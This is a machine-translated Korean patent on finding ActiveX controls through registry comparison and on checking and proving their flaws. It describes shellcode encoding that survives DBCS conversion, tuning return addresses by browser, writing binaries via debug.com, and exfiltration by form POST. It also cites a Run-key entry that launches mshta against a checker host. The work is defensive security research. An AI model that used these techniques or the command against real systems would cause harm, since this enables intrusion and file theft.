KR20070092403A - Method for finding and proving vulnerability in activex control and apparatus and method for identifying activex control - Google Patents

Abstract

A method for checking/providing vulnerability of ActiveX control, and a device and the method for identifying the same are provided to check/prove the vulnerability of the ActiveX control, which is installed by a predetermined website or installed with a predetermined program, from identification to reverse engineering. A main module stores all registry information under an HKEY_CLASSES_ROOT CLSID registry, and identifies COM having a difference by comparing stored registry information with the registry information before/after installation of the predetermined program. A test module checks over whether the COM having the difference provides an IDispathc or IDispathcEx interface. The test module continuously performs a task by executing again the other test module if the test module is abnormally terminated while performing an interface checking task.

Description

METHOD FOR FINDING AND PROVING VULNERABILITY IN ACTIVEX CONTROL AND APPARATUS AND METHOD FOR IDENTIFYING ACTIVEX CONTROL} How to Check and Validate Vulnerabilities in ＡｃｔｉｖｅＸ Ｃｏｎｔｒｏｌ

1 is an example of an automatic update module;

2 is an example of an update information file;

3 is an example of a program having a file write vulnerability,

4 is an example of a registry write vulnerability,

5 is an example of a process execution vulnerability,

6 illustrates an example of reading a Type Library using an OLE / COM Object Viewer.

7 is a dual interface,

8 is a pseudo code for finding a start address of a method, a property, an event,

9 is an example of a string conversion process;

10 is an Alphanumeric shellcode structure,

11 is a Unicode shell code using the Venetian Method,

12 is an example of a binary file generation scheme proposed by http-equiv,

13 is an example of a binary file generation scheme proposed by ByteRage,

14 shows an example of a debug.com input file for generating a binary file;

15 is an example of code for encoding binary file contents and transmitting them to the outside (checker.web.server).

The present invention relates to an ActiveX Control vulnerability inspection and verification method and an ActiveX Control identification device and method, and more particularly, to inspect and verify an ActiveX Control vulnerability installed on a specific website or installed with another program, and to check an ActiveX Control vulnerability. And an ActiveX control vulnerability inspection and verification method for identifying an ActiveX control which may be a security risk before verification, and an ActiveX control identification device and method.

Recently, web sites are distributing many ActiveX controls to provide various services to users beyond the limits of HTML and scripting languages. However, because ActiveX Controls can be executed via web pages or emails, insecure ActiveX Controls can be a fatal weakness in personal PC security. Nevertheless, most ActiveX Controls are distributed to users without safety verification, and many personal PCs are exposed to external intrusions. In order to reduce the vulnerability of ActiveX Control, not only need to check and verify the vulnerability by a third party, but also identify the ActiveX Control which may be a security risk before checking and verifying ActiveX Control.

There are very limited services that can be provided to the user by using only a web page. Access to PC resources using HTML and scripting languages is extremely limited for security reasons. Overcome the limitations of scripting languages and use ActiveX Controls to provide a variety of services. ActiveX Control can be used in scripting languages and runs with the same permissions as a regular application. Because of this, if ActiveX Controls have security vulnerabilities, PCs with ActiveX Controls face serious security threats. The moment a victim views a web page or email containing a malicious script, the malicious script can execute a vulnerable ActiveX control to perform malicious behavior on the victim's PC. Therefore, developers should develop a secure ActiveX control in consideration of all security problems, but many developers have developed ActiveX controls without considering security.

In order to improve the safety of ActiveX Control, it is necessary to check the vulnerability by a third party, but the related research is very insufficient. In particular, although the developed technologies can be used in Korea without any modification for the vulnerability verification of general applications, related technologies cannot be used as it is due to the difference between domestic and foreign environment.

This section describes the types of vulnerabilities in ActiveX Control.

ActiveX Control vulnerabilities are coding errors or design errors that allow unauthorized unauthorized users to access system resources. Common application vulnerabilities are often caused by coding mistakes, but ActiveX control vulnerabilities are often caused by design errors. Many ActiveX Control developers overlook the fact that methods, properties, and events developed to access normal system resources can be used for malicious purposes in addition to their intended purpose. For example, if you develop an ActiveX Control that runs a security program when a user accesses Internet banking, developers should restrict the ActiveX control's functionality to only the intended security program, but run any program. Many times. This is because of the flexibility of the ActiveX control, but it creates a vulnerability due to a design error that could allow a malicious program to run. This chapter describes four common vulnerabilities that are frequently caused by design errors.

1. Auto Update Module Vulnerability

The auto update module is a program for automatically installing updated files on a PC. Recently, many ActiveX Controls include an automatic update module because of the advantage of keeping the program up to date without user intervention.

The automatic update module downloads the update information file from the update server, determines whether the update is necessary, and downloads the update files and installs them on the PC if an update is required.

1 is an example of an automatic update module. In FIG. 1, the first argument of the StartUpdate Method is the update server address, and the second argument is the name of the update information file. Therefore, when the StartUpdate Method is called, the auto update module downloads setup.conf from update.web.server and determines whether an update is required.

2 is an example of an update information file. The content of the update information file in FIG. 2 means that the sweetlie.exe file, which is version 1.2, is downloaded from update.web.server, copied to the system folder, and executed.

As soon as the user browses the web page of Fig. 1, updateX installed on the PC is executed, and update.web. Download setup.conf from the server. If the version of sweetlie.exe is less than 1.2, download sweetlie.exe from update.web.server and copy it to the system folder.

The automatic update vulnerability is a vulnerability that can install malicious programs on victim's PCs by altering the contents of the update server and update information files. When the malicious user changes the update server to his web server in FIG. 1 and sends an email to the victim, the victim executes updateX at the moment of reading the email, and requests the update information file from the changed web server. updateX determines that an update is needed through a modified update information file, and installs a malicious program provided by a malicious user on the victim's PC.

In order for the auto-update module to not contain this vulnerability, it must not be possible to change the update server address. In the example of FIG. 1, the update server address may be changed according to the first parameter value. For security, it is desirable to fix the update server address so that it cannot be changed, but many developers develop to change the update server address as shown in FIG. 1 for flexibility. If you must develop to change the update server address, there must be a verification mechanism for externally received files. In other words, when downloading the update information file and the update files from the update server, the automatic update module receives the signature value and verifies the integrity of the received files and the authentication of the trusted provider.

2. File Write / Read / Delete Vulnerability

File-related vulnerabilities occur because they do not impose appropriate restrictions on the methods, properties, and events created to access files on the user's PC normally. The file read vulnerability and the file delete vulnerability are vulnerabilities that can read or delete a file by inputting a file name as an argument value of method, property, or event. The file write vulnerability is a vulnerability that can create a file containing malicious contents on the victim's PC by inputting the file name and file content as argument values of Method, Property, and Event. If a malicious program is created in the "Startup" folder using the file write vulnerability, the malicious program may be installed when the user logs in again. 3 is an example of a program with a file write vulnerability.

To avoid file-related vulnerabilities, only restricted file access should be allowed. In order to prevent the file writing vulnerability in FIG. 3, the file name and the file content are not inputted as parameters of WriteFile, and the file to be accessed at the source code level and the necessary file content are fixed so that an external user cannot change it arbitrarily.

3. Registry Write / Read / Delete Vulnerability

Registry-related vulnerabilities are caused by not applying appropriate restrictions to the methods, properties, and events created to access the registry of the user's PC normally. The registry read vulnerability and the registry delete vulnerability are vulnerabilities that can read the value of the registry key or delete the registry key when the registry key value is entered as the argument value of the method, property, or event. The Registry Write Vulnerability is a vulnerability that can be installed by malicious programs. If the “mshta http: //checker.web.server/sweetlie.h ta” string value is generated in [HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run], the malicious program This is a dangerous vulnerability that can be installed. 4 is an example of a registry write vulnerability.

To avoid having a registry vulnerability, only limited registry access should be allowed. That is, in order not to have a registry write vulnerability in FIG. 4, a registry key and a required value must be fixed at a source code level without receiving a registry key and a value as a parameter of WriteReg, so that an external user cannot change it arbitrarily. .

4. Process Execution / Termination Vulnerability

Process-related vulnerabilities occur because they do not impose appropriate restrictions on methods, properties, and events created to execute or terminate specific programs on the user's PC. A process execution vulnerability is a vulnerability that can be executed by entering an executable file name and parameters as arguments of methods, properties, and events. The process execution vulnerability is a very dangerous vulnerability that can be installed by executing a malicious script remotely using the mshta.exe program. The process termination vulnerability is a vulnerability that terminates the process when the title or process ID of the window is entered as an argument of Method, Property, or Event. 5 is an example of a process execution vulnerability.

In order not to have process related vulnerabilities, only limited process execution and termination should be allowed. That is, in order not to have a process execution vulnerability in FIG. 5, a file name and argument values to be executed at the source code level are fixed without receiving a file name and argument values as parameters of Run, so that an external user cannot change them arbitrarily. do.

On the other hand, there is a need to identify an ActiveX control that can be a security risk before ActiveX control vulnerability checking and verification. Currently, there is a way to identify ActiveX controls that are installed from a specific website or installed with a specific program. does not exist.

Accordingly, the present invention has been made to solve the above problems of the prior art, the object of the present invention is to check the ActiveX Control vulnerability from the check object identification to Reverse Engineering of ActiveX Control installed on a specific website or installed with a specific program In addition, it provides an ActiveX Control vulnerability inspection and verification method and an ActiveX Control identification device and method that can be used worldwide for verification methods.

ActiveX control vulnerability inspection method of the present invention for achieving the above object, the identification step of identifying a COM that a difference exists by comparing the registry information before and after a particular program is installed; An information collection step of inferring logic and normal parameter values of the method, property, and event by analyzing web pages that are actually used by identifying a method, property, and event of an ActiveX control through a type library; And a checking step of checking whether an ActiveX control is present due to a coding mistake or a design error.

On the other hand, in the ActiveX control vulnerability verification method of the present invention, when there is a vulnerability due to a coding mistake or a design error in the ActiveX Control, when writing the vulnerability verification code of the ActiveX Control, shell code suitable for the ActiveX control is generated. Verification is performed by writing verification code by diversifying the return address using the object model of the web browser that can check the information including the web browser type and version, operating system version and language of the PC where the verification code is executed. It is characterized by.

In the meantime, the ActiveX control identification device of the present invention stores all the registry information existing under the registry HKEY_CLASSES_ROOT \ CLSID, compares the stored registry information with the registry information before and after the installation of a specific program, and compares the COM with the difference. A main module for identifying; And a test module for checking whether an IDispatch or IDispatchEx interface is provided to the COM having the difference.

On the other hand, the ActiveX control identification method of the present invention is characterized in that the ActiveX control is identified by changing registry information before and after a particular program is installed.

Hereinafter, an ActiveX control vulnerability inspection and verification method and an ActiveX control identification device and method of the present invention will be described in detail with reference to the accompanying drawings.

ActiveX Control is designed by Microsoft for marketing purposes and is used in a very general sense. In the following, an ActiveX control is defined as a program that can be called from a script language by providing an IDispatch or IDispatchEx interface among COM objects. ActiveX Control provides methods, properties, and events. In scripting languages, ActiveX Controls can be used.

First, the procedure and related technologies are described first in the vulnerability check of ActiveX Control.

The most commonly used method to check for vulnerabilities of ActiveX Controls by third parties is Gray Box Testing, which focuses on Black Box Testing. Most of the checks are performed without direct analysis of the internal logic, and only a part of the vulnerability is analyzed by analyzing the internal logic through reverse engineering. This chapter describes the procedures for checking for ActiveX Control vulnerabilities and presents the related technologies required for each step.

Identifying Targets

The first thing a third party does to check for a vulnerability in an ActiveX Control is to identify the ActiveX Control to be inspected. Identification of ActiveX Controls installed at a specific point in time is possible through registry information and COM interface. Because ActiveX Control is COM based, it registers its CLAS ID identifier (CLSID) under \ HKEY_CLASSES_ROOT \ CLSID \ in the registry when it is installed on the PC. Among the newly registered CLSIDs, the component that supports IDispatch or IDispatchEx interface is ActiveX Control. You can check whether IDispatch and IDispatchEx are supported through IUnknown :: QueryInterface.

One important factor in identifying ActiveX controls is whether or not "Safe for Initialization" and "Safe for Scripting" are set. If "Safe for Initialization" or "Safe for Scripting" is set, ActiveX Controls with these options can be more dangerous because ActiveX Controls can be used without user consent. You can check whether these options are set through the registry and the IObjectSafety interface. In the case of registry, if “7DD95802-9882-11CF-9FA9-00AA006C42C4” exists in “\ HKEY_CLASSES_ROOT \ CLSID \ CLSID \ Implemented Categories \” of the component, “Safe for Initialization” is set. If "Safe for Scripting" is set, the key "7DD95801-9882-11CF-9FA9-00AA006C42C4" exists. Even if the keys don't exist in the registry, you can set “Safe for Initialization” and “Safe for Scripting” through the IObjectSafety interface. Therefore, check whether it is set through IObject Safety :: SetInterfaceSafetyOptions. [Microsoft Corporation, “Safe Initialization and Scripting for ActiveX Control”, http://msdn.microsoft.com/ library / default.asp? Url = / workshop / components / activex / safety.asp.]

In the present embodiment, a main module and a test module are provided to identify the ActiveX control.

The main module stores all the registry information existing under the registry HKEY_CLASSES_ROOT \ CLSID and compares the two stored registry information to identify the COMs with differences.

The test module checks to see if there is an IDispatch or IDispatchEx interface for the COMs that differ. The test module calls COMs directly while performing interface verification, which can lead to unexpected termination due to COM errors. Therefore, in this embodiment, to solve this, the test module is executed independently of the main module. Even if a standalone test module terminates abnormally, the main module recognizes this and re-runs another test module to continue working.

Information gathering step

Information collection is performed to infer the logic of Method, Property, Event of ActiveX Control. The more information you have about your internal logic, the better you can perform the appropriate checks.

Methods, properties, and events provided by ActiveX Control can be identified through Type Library. Type Library contains information such as method, property, event name, parameter type, and return type. OLE / COM Object Viewer provided by Microsoft's Platform SDK [Microsoft Corporation, “Windows Server 2003 SP1 Platform SDK Web Install”, http://www.microsoft.com/do wnloads / details.aspx? FamilyId = A55B6B43-E24F- 4EA3-A93E-40C0EC4F68E5 & displaylang = en.] Makes it easy to read the Type Library information. 6 illustrates an example of reading a type library using an OLE / COM Object Viewer.

After identifying Method, Property, and Event through Type Library information, we can infer logic of Method, Property, Event and normal parameter values by analyzing web pages that actually use ActiveX Control. If the ActiveX Control was developed for use as part of another product, the developer APIs are also exposed externally. The developer API provides detailed information about methods, properties, and events, which helps in inferring internal logic.

Inspection steps

In the checking phase, ActiveX Control checks whether there are vulnerabilities due to coding mistakes or design errors. To check for vulnerabilities in ActiveX Control, a web server and client are required. ActiveX control is installed on client, and web page for checking method, property, event of relevant ActiveX control is placed on web server. For example, to check for buffer overflow vulnerability, write a web page that inputs a very long string as an argument value for a specific method. To check for file write vulnerabilities, create a web page with a file path name as an argument value for a specific method. . Determining which vulnerability to focus on the method, property, and event is determined by using the information collected at the information collection stage.

When the test web pages are ready, access the test web page with the monitoring tool running on the client system. The vulnerability is determined by monitoring the behavior of ActiveX Control after accessing the web page. Monitoring tools that run on client systems include FileMon [Mark Russinovich, Bryce Cogswell, “Filemon for Windows”, http: // www. sysinternals.com/Utilities/Filemon.html.], RegMon [Mark Russinovich, Bryce Cogswell, “Regmon for Windows NT / 9x”, http: // www.sysinternals.com/Utilities/Regmon.html.], Ethereal [Gerald Combs, “Ethereal”, http: // www.ethereal.com/.]. FileMon can monitor whether an ActiveX control has access to the system's file resources, and RegMon can monitor whether an ActiveX control has access to the system's registry. Ethereal can monitor network communication with the outside of the ActiveX Control. In addition, a debugger such as WinDbg [Microsoft Corporation, “WinDBG”, http://www.microsoft.com/.] Is used to find the buffer overflow vulnerability of ActiveX Control. Run a web browser in WinDbg and visit the inspecting web page to observe whether a buffer overflow occurs in the web browser.

Reverse Engineering Phase

Reverse engineering is generally used in cases where meaningful black box testing is not possible because the information that can be inferred through the information collection stage is extremely insignificant. For example, if a specific ActiveX Control can use other methods, properties, and events only after calling the initialization method, if it is not known at the information gathering stage, meaningful inspection cannot be performed without performing reverse engineering. You can use IDA Pro [DataRescue, “IDA Pro”, http://www.datarescue.com/.] For static reverse engineering, and OllyDbg [Oleh Yuschuk, “OllyDbg”, http: // www. ollydbg.de/.] can be used.

To perform reverse engineering, start address of method, property, event is needed. Matt Pietrek, in “Improve Your Debugging by Generating Symbols from COM Type Libraries,” describes a technique for obtaining the start address of a method, property, and event of an ActiveX control when it is an in-process server and supports dual interfaces. [Matt Pietrek , “Improve Your Debugging by Generating Symbols from COM Type Libraries”, Microsoft Systems Journal, Mar 1999.]

In scripting language, IDispatch :: Invoke function can be used to call methods, properties, and events provided by ActiveX Control. However, the use of IDispatch :: Invoke function incurs a lot of overhead, so in an application written in a language that can directly access the COM interface, the methods, properties, and events of the ActiveX control can be indirectly accessed through the IDispatch :: Invoke function. Calling is inefficient. Therefore, many ActiveX Controls implement all methods, properties, and events that can be used through the IDispatch :: Invoke function so that they can be accessed directly through the virtual function table. This is called a double interface. ATL COM Programming ”, Samyang Publisher, Chapter 6, pp. 297-298, Feb 2001.]

On the other hand, in case of supporting dual interface, as shown in FIG. 7, the start address of each method, property or event exists under the address of the invoke function. Therefore, if you know the offset from the start of the virtual function table to the location of the start address of the method, property or event, you can know the start address of each method, property or event. This information can be obtained from the ActiveX control's Type Library. ITypeInfo can be obtained using ITypeLib :: GetTypeInfo, and FUNCDESC containing information on each method and property can be obtained using ITypeInfo :: GetFuncDesc. There is an oVft field in FUNCDESC, which is an offset from the virtual function table address to the start address of the method, property or event.

Since the start address of the method, property, or event thus obtained is a virtual address, it must be changed to a logical address. For example, if the memory address where the ActiveX control is loaded is 0x10000000 and the start address of a specific method is 0x10002034, the logical address is 0x00002034 (0x10002034-0x10000000). 8 is a pseudo code for searching for a start address of a method, a property, and an event.

The following describes the vulnerability verification technique.

This chapter describes techniques for writing vulnerability verification code to see if the vulnerability found can actually be a security threat. The buffer overflow vulnerability of ActiveX Control cannot use the vulnerability verification method used in general applications, and there are almost no exploit codes published at home and abroad. In particular, Korean Windows using DBCS (Double Byte Character Set) has many limitations in writing verification code unlike other languages. This chapter describes how to write vulnerability verification code of ActiveX Control by integrating technologies used in other fields.

A. Double Byte Character Set (DBCS)

DBCS uses two bytes to represent characters for languages that cannot represent all characters in one byte. Single language character set (SBCS) is used in languages where all characters are represented by only one byte like English. In DBCS, characters from 0x00 to 0x80 are represented by only one byte like SBCS, but when one byte is more than 0x81, two bytes represent one character together with the following byte. DBCS is used only in Windows in some Asian countries such as Korea, China, and Japan, and most countries use SBCS.

Due to the use of DBCS, many ActiveX Control vulnerability verification codes that are published in foreign countries do not work in domestic environment. In particular, buffer overflow vulnerabilities and process execution vulnerabilities always cause DBCS problems during the vulnerability verification process, but the vulnerability verification code that solves the DBCS problem has not been published yet due to insufficient research. This embodiment solves the DBCS problem by incorporating technologies used in other fields into ActiveX control vulnerability verification code.

B. Buffer Overflow Vulnerability

When writing the vulnerability control code of ActiveX Control, the difference from general application is the shell code part and return address part. Therefore, this embodiment proposes a shellcode writing technique suitable for ActiveX Control. In addition, we propose a technique to write reliable vulnerability verification code by diversifying return address using object model of web browser.

B-1. Shell Code Writing Techniques

All strings are passed in Unicode when passed to the ActiveX Control. However, in most cases, programmers are more familiar with DBCS string handling, so they convert Unicode strings back to DBCS strings. The programmer converts a Unicode string to a DBCS string using the WideCharToMulti Byte function. If there are more than 0x81 bytes, the converted DBCS string is different from the initial DBCS string. 9 shows an example of a string conversion process. It can be seen that 0x01 to 0x80 in the initial DBCS string is the same in the final DBCS string, but 0x81 and 0x82 are converted to 0x3F, and 0xFE is converted to two bytes of 0xA9 0xAD. The conversion result can be changed by the language of the operating system and the parameter value of WideCharToMulti Byte.

Since the string entered to verify the buffer overflow vulnerability contains shellcode, it is impossible to verify the vulnerability if the string is changed inside the ActiveX Control. Therefore, to solve the DBCS problem, shellcode should be written using only opcodes with byte values between 0x01 and 0x80.

In addition, since the filtering of non-alphanumeric characters has been increasing recently, it is preferable to use Alphanumeric shellcode in vulnerability control code of ActiveX Control. Alphanumeric shellcode refers to shellcode written using only A-Z (0x41-0x5A), a-z (0x61-0x7A), and 0-9 (0x30-0x39). This form of shellcode writing was first introduced in Riley “Caezar” Eller's “Bypassing MSB Data Filters for Buffer Overflows”. [Riley “Caezar” Eller, “Bypassing MSB Data Filters for Buffer Overflows”, http: // community .core-sdi.com / ~ ju liano / bypass-msb.txt, Aug 2000.] Caezar's document proposes a method of writing shellcode using only printable characters (0x21-0x7F).

Advancing Caezar's technique, Shellcoder's Handbook proposes a bridge building technique for writing alphanumeric shellcode. Bridge building refers to a technique for writing shellcode using only opcodes with alphanumeric byte values. In general, it is difficult to write shellcode that can do various things with only opcodes with Alphanumeric byte values, so write the shellcode for the decoder part with opcodes with Alphanumeric byte values. In other words, the binary shellcode that performs the desired function is encoded in Alphanumeric format, and only the decoder writing unit is written with an opcode having Alphanumeric byte values. When the decoder writing unit is executed, the decoder is created in the "where the decoder is written", and the decoder decodes the encoded shellcode and restores the original binary shellcode. When the decoder is done, the desired binary shellcode is executed. [Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta, Riley Hassell, "Shellcoder's Handbook: discovering and exploiting security holes", Wiley Publishing, Inc. , Chapter 9, pp. 197-201, Feb 2003.] FIG. 10 is an Alphanumeric shellcode structure.

Although shellcode can be made larger by using the Bridge Building technique, the size of shellcode is not important in ActiveX Control.

So far, it has been assumed that the programmer converts the Unicode string passed to the ActiveX Control back to a DBCS string. However, some ActiveX Controls can cause a buffer overflow in the state of Unicode strings passed to the ActiveX Control. In this situation, you need to write shellcode that will work properly when converted to a Unicode string. Chris Anley's “Creating Arbitrary Shellcode In Unicode Expanded Strings” proposes a Venetian Method for writing Unicode shellcode. [Chris Anley, “Creating Arbitrary Shell-code In Unicode Expanded Strings”, Jan 2002.] As in 11, when the desired shellcode is “0x41 0x42 0x43 0x44 0x45 0x46”, encode it and input the string “0x41 0x43 0x45 0x46 0x44 0x42”. The encoding string becomes “0x41 0x00 0x43 0x00 0x45 0x00 0x46 0x00 0x44 0x00 0x42 0x00” through Unicode conversion, and finally the desired shellcode “0x41 0x42 0x43 0x44 0x45 0x46” is restored. 11 is a Unicode shell code using the Venetian Method.

However, Chris Anley's proposed method is not just shellcode that consists of printable characters. Shellcoder's Handbook developed the Venetian Method and proposed the ASCII Venetian Method for writing shellcode using only Unicode characters, numbers, and alphabets. [Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta, Riley Hassell, “Shellcoder's Handbook: discovering and exploiting security holes”, Wiley Publishing, Inc., Chapter 9, pp. 201-213, Feb 2003.] The ASCII Venetian Method also consists of the decoder writing unit, where the decoder is written, and the actual encoded shellcode. Decoder generator creates a decoder that performs Venetian method only with opcode consisting of Unicode byte values. The decoder converts the encoded shellcode back to the original shellcode, and the actual shellcode is executed.

B-2. Verification Code Reliability Improvement Technique

It is not easy to write reliable verification code in various environments because return address in buffer overflow vulnerability verification code varies depending on operating system version and language. In particular, ActiveX control has a narrow range of return address selection because it is necessary to select return address consisting of bytes between 0x01 and 0x80 due to DBCS problem.

However, in a web browser such as Internet Explorer or Netscape, the navigator object provides information about the web browser type and version, operating system version and language of the PC where the verification code is executed. By using the web browser's navigator object, the vulnerability verification code can be written to select and use the return address that is appropriate for each situation, thereby increasing the reliability of the vulnerability verification code.

C. Process Execution Vulnerability

Process execution vulnerability performs vulnerability verification by installing demo program on user's PC. In order to install demo program on user's PC by using process execution vulnerability, HTA (HTml Application) file is mainly used. HTA files are similar to HTML files, but have the same security limitations. Therefore, it is possible to create a text file, browse a text file, and the like, which are not possible in normal HTML. The method used by HTA to create a binary file was to read a binary file remotely using Microsoft.XMLHTTP and create a binary file on a PC using ADODB.Stream. However, since they cannot be used after the security patch, the method recently proposed by http-equiv is used overseas. [Http-equiv, http://www.malware.com]

12 is an example of a binary file generation scheme proposed by http-equiv. In the scripting language, only a text file can be generated, but as shown in FIG. 12, http-equiv devised a technique for generating a binary file using Scripting.FileSystem Object, an object for generating a text file. This works well on Windows with SBCS because every character is one byte, but not on Windows with DBCS. This is because characters such as Chr (256) cannot exist in DBCS and are not handled properly.

Therefore, in order to write vulnerability verification code that works well in DBCS, the technique proposed by ByteRage should be used. ByteRage devised a technique for generating binary files in scripting languages using the debug.com program. [ByteRage, http: //byterage.hackaholic .org / index.php] FIG. 13 shows a hta file using the technique of ByteRage. Shows the script code for creating a binary file. 13 is an example of a binary file generation technique proposed by ByteRage.

In FIG. 13, a text file called sweetlie.txt is generated, and this text file is used as an input file of debug.com so that debug.com generates a binary file and executes the file. The content of the text file called sweetlie.txt is shown in FIG. 14 is an example of a debug.com input file for generating a binary file.

The debug.com program can only store files smaller than 64K bytes, so be careful about the size of the program you install to verify the vulnerability.

D. File Reading Vulnerability

You can use the POST method of the form to send major files existing in the PC to the outside by using file reading vulnerability. Encoding must be done before sending the file to the outside. In the case of a text file, only some special characters need to be encoded and transmitted. In the case of a binary file, the entire contents of the file must be encoded and sent. 15 is an example of code for encoding binary file contents and transmitting them to the outside (checker.web.server).

As such, in this embodiment, the nine vulnerabilities frequently found in ActiveX Control are summarized by type. In addition, this chapter describes the procedure and verification technique for ActiveX control vulnerability inspection by third parties used to ensure the safety of ActiveX Control. Vulnerability check begins with identification of ActiveX control to be checked and goes through information gathering step to collect information to perform meaningful check, check step to check actual vulnerability, and Reverse Engineering step to compensate for the missing part in the check step.

Vulnerabilities discovered through vulnerability checking can prevent false positive errors by proving actual threats through vulnerability verification code. Element technologies required for vulnerability verification in ActiveX Control are different from general application programs, and the required element technologies in domestic and foreign environments are also different due to DBCS problems. In this embodiment, we describe how to write vulnerability verification code that can operate in various environments through various ideas and new ideas.

In the above description of the preferred embodiment of the present invention, the present invention is not limited to the above-described embodiment, without having to deviate from the gist of the present invention claimed in the claims, having ordinary knowledge in the field Of course, any modification can be made by any person, such changes are within the scope of the claims.

As described above, according to the present invention, it is possible to accurately identify ActiveX controls installed in a system and identify ActiveX control differences between heterogeneous systems, which can be used for preliminary work for performing vulnerability checks on ActiveX controls. Ultimately, you can enhance your personal PC security while providing a variety of services.

Claims (14)

An identification step of comparing the registry information before and after the specific program is installed to identify the COM in which the difference exists; An information collection step of inferring logic and normal parameter values of the method, property, and event by analyzing web pages that are actually used by identifying a method, property, and event of an ActiveX control through a type library; And Checking step to check the existence of vulnerability due to coding mistake or design error in the ActiveX Control ActiveX control vulnerability check method comprising the. The method of claim 1, wherein after the checking step, all methods, properties, and events available through the IDispatch :: Invoke function are located under the Invoke function address in a dual interface that can be directly accessed through a virtual function table. ActiveX control vulnerability checking method further comprising a reverse engineering step of checking the vulnerability using the start address of each method, property or event. The method according to claim 1, wherein the identifying ActiveX control step compares all registry information existing under the registry HKEY_CLASSES_ROOT \ CLSID with registry information already stored to identify a COM having a difference. The method of claim 1, wherein the identifying ActiveX control step independently tests whether the IDispatch or IDispatchEx interface is provided. The method of claim 1, wherein the checking step is performed through a connection between a client on which an ActiveX control is installed and a web server on which web pages for checking methods, properties, and events of the ActiveX control are placed. If there is a vulnerability due to a coding mistake or a design error in the ActiveX Control, when writing the vulnerability verification code of the ActiveX Control, write a shell code suitable for the ActiveX Control in response to the vulnerability, and then use the web browser of the PC where the verification code is executed. ActiveX control vulnerability verification method characterized by writing verification code by varying return address using object model of web browser that can check information including type and version, operating system version and language. The alphanumeric byte of the binary shellcode which performs a desired function when converting a Unicode string passed to an ActiveX control into a DBCS string when the vulnerability is a buffer overflow. When the decoder writing unit is executed by writing only the opcode having a value, the decoder is written in the “where the decoder is written”. The decoder decodes the encoded shellcode and restores the original binary shellcode. ActiveX control vulnerability verification method characterized in that the desired binary shell code is executed. The decoder of claim 6, wherein when the vulnerability is a buffer overflow, the binary shellcode that performs a desired function is encoded in ASCII format, and the decoder generator writes a decoder that performs a Venetian method using only an opcode composed of Unicode byte values. How to verify the ActiveX Control vulnerability, characterized in that the encoded shellcode is converted to the original shellcode and the actual shellcode is executed. The method of claim 6, wherein when the vulnerability is a process execution, a text file called * .txt is generated, and debug.com generates a binary file using the text file as an input file of debug.com. An ActiveX Control vulnerability verification method characterized by executing a file. The ActiveX Control vulnerability of claim 6, wherein when the vulnerability is a file read, the form uses a POST method of a form that encodes only some special characters in the case of a text file and encodes the entire contents of the file in the case of a binary file. Verification method. A main module for storing all registry information existing under the registry HKEY_CLASSES_ROOT \ CLSID, and comparing the stored registry information with registry information before and after a specific program is installed to identify a COM having a difference; And Test module that checks if the above difference provides IDispatch or IDispatchEx interfaces ActiveX control identification device comprising a. The apparatus of claim 11, wherein the test module continuously executes another test module when the test module is abnormally terminated while performing an interface check operation. ActiveX control identification method characterized by identifying the ActiveX control by changing the registry information before and after a particular program is installed. The method of claim 13, wherein the identification of the ActiveX control is performed through a difference of ActiveX control between registry information stored between two systems having different operating systems or different usage environments.

Images